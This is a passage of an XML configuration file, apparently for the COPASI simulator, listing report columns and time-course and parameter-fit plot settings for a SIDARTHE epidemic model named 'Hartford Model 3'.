<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration,Property=DisplayName"/>
</Header>
<Footer>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=InitialValue"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</Footer>
</Report>
</ListOfReports>
<ListOfPlots>
<PlotSpecification name="Time course" type="Plot2D" active="1" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="CFR" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="DRT" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Diagn cumul infected" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="H" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="IDART" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="IDARTHE" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="New cases" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="New diagnosed" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Perceived CFR" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="R0" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Recovered" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="S" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="T" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total_Hospitalized" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Total_Hospitalized],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Progress of Fit" type="Plot2D" active="1" taskTypes="Parameter Estimation">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="1"/>
<ListOfPlotItems>
<PlotItem name="sum of squares" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Function Evaluations"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="parameters" type="Plot2D" active="0" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="R0" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="alpha" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="beta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="delta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="epsilon" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="eta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="gamma" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="kappa" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="lambda" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
